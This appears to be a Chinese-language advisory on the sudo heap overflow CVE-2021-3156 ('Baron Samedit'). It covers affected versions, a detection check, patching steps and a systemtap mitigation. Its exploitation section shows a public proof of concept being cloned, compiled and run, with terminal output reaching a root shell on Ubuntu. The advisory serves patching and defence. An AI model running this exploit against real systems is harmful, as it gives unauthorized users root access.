1.背景
sudo被披露存在一個基於堆的緩沖區溢出漏洞(CVE-2021-3156,該漏洞被命名為“Baron Samedit”),可導致本地權限提升。
當在類Unix的操作系統上執行命令時,非root用戶可以使用sudo命令來以root用戶身份執行命令。由於sudo錯誤地在參數中轉義了反斜杠導致堆緩沖區溢出,從而允許任何本地用戶(無論是否在sudoers文件中)獲得root權限,無需進行身份驗證,且攻擊者不需要知道用戶密碼。
安全研究人員於1月26日公開披露了此漏洞,並表示該漏洞已經隱藏了近十年。
2.檢測
影響版本
- Sudo 1.8.2 - 1.8.31p2
- Sudo 1.9.0 - 1.9.5p1
查看版本
測試漏洞是否存在:
在普通用戶權限上,輸入:sudoedit -s /
- 如果顯示sudoedit: /: not a regular file,則表示該漏洞存在
- 若返回以“ usage:”開頭的錯誤,則不受影響
表示此系統存在該漏洞。
3.利用
以Ubuntu為例:poc下載;

test@kali:~$ git clone https://github.com/blasty/CVE-2021-3156.git Cloning into 'CVE-2021-3156'... remote: Enumerating objects: 50, done. remote: Counting objects: 100% (50/50), done. remote: Compressing objects: 100% (35/35), done. remote: Total 50 (delta 25), reused 38 (delta 15), pack-reused 0 Unpacking objects: 100% (50/50), done. test@kali:~$ cd CVE-2021-3156/ test@kali:~/CVE-2021-3156$ ls brute.sh hax.c lib.c Makefile README.md test@kali:~/CVE-2021-3156$ make rm -rf libnss_X mkdir libnss_X gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c test@kali:~/CVE-2021-3156$ ls brute.sh hax.c lib.c libnss_X Makefile README.md sudo-hax-me-a-sandwich test@kali:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0 ** CVE-2021-3156 PoC by blasty <peter@haxx.in> using target: Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 ['/usr/bin/sudoedit'] (56, 54, 63, 212) ** pray for your rootshell.. ** [+] bl1ng bl1ng! We got it! # id uid=0(root) gid=0(root) groups=0(root),1001(test) # whoami root #
4.漏洞修復
永久修復(推薦):
官網:https://www.sudo.ws/download.html

1.3 下載各系統安裝包 centos 5 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el5.x86_64.rpm centos 6 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el6.x86_64.rpm centos 7 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el7.x86_64.rpm ubuntu 16.04 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo_1.9.5-3_ubu1604_amd64.deb ubuntu 18.04 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-ldap_1.9.5-3_ubu1804_amd64.deb ubuntu 20.04 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo_1.9.5-3_ubu2004_amd64.deb
#以centos7為例
rpm -Uvh sudo-1.9.5-3.el7.x86_64.rpm
或者用源碼進行編譯安裝:
https://www.sudo.ws/dist/sudo-1.9.5p2.tar.gz,下載最新版本sudo軟件tar包,並解壓。
tar zxvf sudo-1.9.5p2.tar.gz
進入解壓目錄,執行編譯命令
./configure --prefix=/usr --libexecdir=/usr/lib --with-secure-path --with-all-insults --with-env-editor --docdir=/usr/share/doc/sudo-1.9.5p2 --with-passprompt="[sudo] password for %p: " && make && make install && ln -sfv libsudo_util.so.0.0.0 /usr/lib/sudo/libsudo_util.so.0
臨時措施(RedHat):
1.安裝所需的systemtap軟件包和依賴項:
systemtap yum-utils kernel-devel-“ $(uname -r)” RHEL 7安裝kernel debuginfo:debuginfo-install -y kernel-“ $(uname -r)” RHEL 8安裝sudo debuginfo:debuginfo-install sudo
2.創建以下systemtap腳本:(將文件命名為sudoedit-block.stap)
probe process("/usr/bin/sudo").function("main") { command = cmdline_args(0,0,""); if (strpos(command, "edit") >= 0) { raise(9); } }
3.使用以下命令安裝腳本:(使用root)
#nohup stap -g sudoedit-block.stap&
這將輸出systemtap腳本的PID編號,該腳本將導致易受攻擊的sudoedit二進制文件停止工作,sudo命令仍將照常工作。
注意,上述更改會在重啟后失效,必須在每次重啟后重新應用。
4.一旦安裝了補丁程序,就可以通過終止systemtap進程來刪除systemtap腳本。例如,通過使用以下命令,其中7590是systemtap進程的PID。
#kill -s SIGTERM 7590
-----------------------
漏洞利用技術細節:
關於sudoers:http://www.mamicode.com/info-detail-2376629.html